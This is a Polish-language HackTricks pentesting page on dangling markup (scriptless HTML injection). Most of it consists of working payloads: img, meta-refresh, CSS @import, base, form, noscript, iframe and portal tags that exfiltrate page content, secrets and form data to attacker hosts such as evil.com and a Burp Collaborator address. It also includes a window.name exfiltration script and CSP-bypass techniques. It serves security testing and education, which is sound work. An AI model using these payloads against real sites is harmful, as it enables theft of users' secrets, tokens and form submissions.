Dangling Markup - HTML scriptless injection
Reading time: 9 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Resume
Ta technika może być używana do wyodrębniania informacji od użytkownika, gdy znaleziono wstrzyknięcie HTML. Jest to bardzo przydatne, jeśli nie znajdziesz sposobu na wykorzystanie XSS , ale możesz wstrzyknąć kilka tagów HTML.
Jest to również przydatne, jeśli jakiś sekret jest zapisany w czystym tekście w HTML i chcesz go wyeksfiltrować z klienta, lub jeśli chcesz wprowadzić w błąd w wykonaniu jakiegoś skryptu.
Kilka technik omówionych tutaj może być używanych do obejścia niektórych Content Security Policy poprzez wyeksfiltrowanie informacji w nieoczekiwany sposób (tagi html, CSS, tagi meta http, formularze, base...).
Main Applications
Stealing clear text secrets
Jeśli wstrzykniesz <img src='http://evil.com/log.cgi?
podczas ładowania strony, ofiara wyśle ci cały kod między wstrzykniętym tagiem img
a następnym cudzysłowem w kodzie. Jeśli sekret znajduje się w tym kawałku, ukradniesz go (możesz zrobić to samo używając podwójnego cudzysłowu, sprawdź, co może być bardziej interesujące do użycia).
Jeśli tag img
jest zabroniony (na przykład z powodu CSP), możesz również użyć <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Zauważ, że Chrome blokuje adresy URL HTTP zawierające "<" lub "\n", więc możesz spróbować innych schematów protokołów, takich jak "ftp".
Możesz również nadużyć CSS @import
(wyśle cały kod, aż znajdzie ";")
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Możesz również użyć <table
:
<table background='//your-collaborator-id.burpcollaborator.net?'
Możesz również wstawić tag <base
. Wszystkie informacje będą wysyłane, aż do zamknięcia cudzysłowu, ale wymaga to interakcji ze strony użytkownika (użytkownik musi kliknąć w jakiś link, ponieważ tag base zmienił domenę wskazywaną przez link):
<base target=' <--- Injected
steal me'<b>test</b>
Kradzież formularzy
<base href="http://evil.com/" />
Następnie formularze, które wysyłają dane do ścieżki (jak <form action='update_profile.php'>
), będą wysyłać dane do złośliwej domeny.
Kradzież formularzy 2
Ustaw nagłówek formularza: <form action='http://evil.com/log_steal'>
, to nadpisze następny nagłówek formularza, a wszystkie dane z formularza zostaną wysłane do atakującego.
Kradzież formularzy 3
Przycisk może zmienić adres URL, do którego informacje z formularza będą wysyłane, za pomocą atrybutu "formaction":
<button name="xss" type="submit" formaction="https://google.com">
I get consumed!
</button>
Napastnik może to wykorzystać do kradzieży informacji.
Znajdź przykład tego ataku w tym opracowaniu.
Kradzież tajemnic w postaci czystego tekstu 2
Używając wspomnianej wcześniej techniki do kradzieży formularzy (wstrzykiwanie nowego nagłówka formularza), możesz następnie wstrzyknąć nowe pole wejściowe:
<input type='hidden' name='review_body' value="
a to pole wejściowe będzie zawierać całą zawartość między jego podwójnymi cudzysłowami a następnym podwójnym cudzysłowem w HTML. Ten atak łączy "Kradzież tajemnic w czystym tekście" z "Kradzieżą forms2".
Możesz zrobić to samo, wstrzykując formularz i tag <option>
. Wszystkie dane aż do znalezienia zamkniętego </option>
zostaną wysłane:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Wstrzykiwanie parametrów formularza
Możesz zmienić ścieżkę formularza i wstawić nowe wartości, aby wykonać nieoczekiwaną akcję:
<form action="/change_settings.php">
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
<form action="/change_settings.php">
← Existing form (ignored by the parser) ...
<input type="text" name="invite_user" value="" /> ← Subverted field ...
<input type="hidden" name="xsrf_token" value="12345" />
...
</form>
</form>
Kradzież tajemnic w postaci czystego tekstu za pomocą noscript
<noscript></noscript>
To tag, którego zawartość będzie interpretowana, jeśli przeglądarka nie obsługuje JavaScript (możesz włączyć/wyłączyć JavaScript w Chrome w chrome://settings/content/javascript).
Sposobem na wyeksfiltrowanie zawartości strony internetowej od punktu wstrzyknięcia do dołu na kontrolowaną przez atakującego stronę będzie wstrzyknięcie tego:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Ominięcie CSP z interakcją użytkownika
Z tego badania portswiggers możesz się dowiedzieć, że nawet z najbardziej ograniczonych środowisk CSP można nadal wyekstrahować dane z pewną interakcją użytkownika. W tej okazji użyjemy ładunku:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Zauważ, że poprosisz ofiarę o kliknięcie w link, który przekieruje ją do ładunku kontrolowanego przez ciebie. Zauważ również, że atrybut target
wewnątrz tagu base
będzie zawierał treść HTML aż do następnego pojedynczego cudzysłowu.
To spowoduje, że wartość window.name
po kliknięciu w link będzie zawierać całą tę treść HTML. Dlatego, ponieważ kontrolujesz stronę, na którą ofiara przechodzi, klikając link, możesz uzyskać dostęp do window.name
i ekstrahować te dane:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Mylący przepływ skryptu 1 - Atak na przestrzeń nazw HTML
Wstaw nowy tag z id wewnątrz HTML, który nadpisze następny i z wartością, która wpłynie na przepływ skryptu. W tym przykładzie wybierasz, z kim informacja będzie dzielona:
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
Share this status update with: ← Legitimate optional element of a dialog
<input id="share_with" value="" />
... function submit_status_update() { ... request.share_with =
document.getElementById('share_with').value; ... }
Mylący przepływ skryptu 2 - Atak na przestrzeń nazw skryptu
Utwórz zmienne wewnątrz przestrzeni nazw javascript, wstawiając tagi HTML. Następnie ta zmienna wpłynie na przepływ aplikacji:
<img id="is_public" /> ← Injected markup ... // Legitimate application code
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
The subsequent assignment fails in IE is_public = true; else is_public = false;
} function submit_new_acls() { ... if (is_public) request.access_mode =
AM_PUBLIC; ← Condition always evaluates to true ... }
Nadużycie JSONP
Jeśli znajdziesz interfejs JSONP, możesz być w stanie wywołać dowolną funkcję z dowolnymi danymi:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Lub możesz nawet spróbować wykonać jakiś javascript:
<script src="/search?q=a&call=alert(1)"></script>
Wykorzystanie iframe
Dokument podrzędny ma możliwość przeglądania i modyfikowania właściwości location
swojego rodzica, nawet w sytuacjach międzydomenowych. Umożliwia to osadzenie skryptu w iframe, który może przekierować klienta na dowolną stronę:
<html>
<head></head>
<body>
<script>
top.window.location = "https://attacker.com/hacked.html"
</script>
</body>
</html>
Można to złagodzić za pomocą czegoś takiego jak: sandbox=' allow-scripts allow-top-navigation'
Iframe może być również nadużywany do wycieku wrażliwych informacji z innej strony używając atrybutu nazwy iframe. Dzieje się tak, ponieważ można stworzyć iframe, który iframe'uje siebie, nadużywając wstrzykiwania HTML, co sprawia, że wrażliwe informacje pojawiają się wewnątrz atrybutu nazwy iframe, a następnie uzyskać dostęp do tej nazwy z początkowego iframe i ją wyciekować.
<script>
function cspBypass(win) {
win[0].location = "about:blank"
setTimeout(() => alert(win[0].name), 500)
}
</script>
<iframe
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
onload="cspBypass(this.contentWindow)"></iframe>
For more info check https://portswigger.net/research/bypassing-csp-with-dangling-iframes
<meta abuse
Możesz użyć meta http-equiv
do wykonania kilku działań, takich jak ustawienie ciasteczka: <meta http-equiv="Set-Cookie" Content="SESSID=1">
lub wykonanie przekierowania (w tym przypadku po 5s): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Można to uniknąć za pomocą CSP dotyczącego http-equiv ( Content-Security-Policy: default-src 'self';
, lub Content-Security-Policy: http-equiv 'self';
)
Nowy <portal HTML tag
Możesz znaleźć bardzo interesujące badania na temat podatnych na exploity luk w tagu <portal tutaj.
W momencie pisania tego tekstu musisz włączyć tag portal w Chrome w chrome://flags/#enable-portals
, inaczej nie będzie działać.
<portal src='https://attacker-server?
HTML Leaks
Nie wszystkie sposoby na wyciek łączności w HTML będą przydatne dla Dangling Markup, ale czasami mogą pomóc. Sprawdź je tutaj: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Leaks
To jest mieszanka między dangling markup a XS-Leaks. Z jednej strony podatność pozwala na wstrzykiwanie HTML (ale nie JS) na stronę o tej samej domenie, którą będziemy atakować. Z drugiej strony nie będziemy atakować bezpośrednio strony, na którą możemy wstrzyknąć HTML, ale inną stronę.
{{#ref}} ss-leaks.md {{#endref}}
XS-Search/XS-Leaks
XS-Search są ukierunkowane na ekstrakcję informacji z różnych źródeł poprzez nadużywanie ataków bocznych. Dlatego jest to inna technika niż Dangling Markup, jednak niektóre z technik nadużywają włączenia tagów HTML (z i bez wykonania JS), jak CSS Injection lub Lazy Load Images.
{{#ref}} ../xs-search/ {{#endref}}
Brute-Force Detection List
{{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt {{#endref}}
References
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.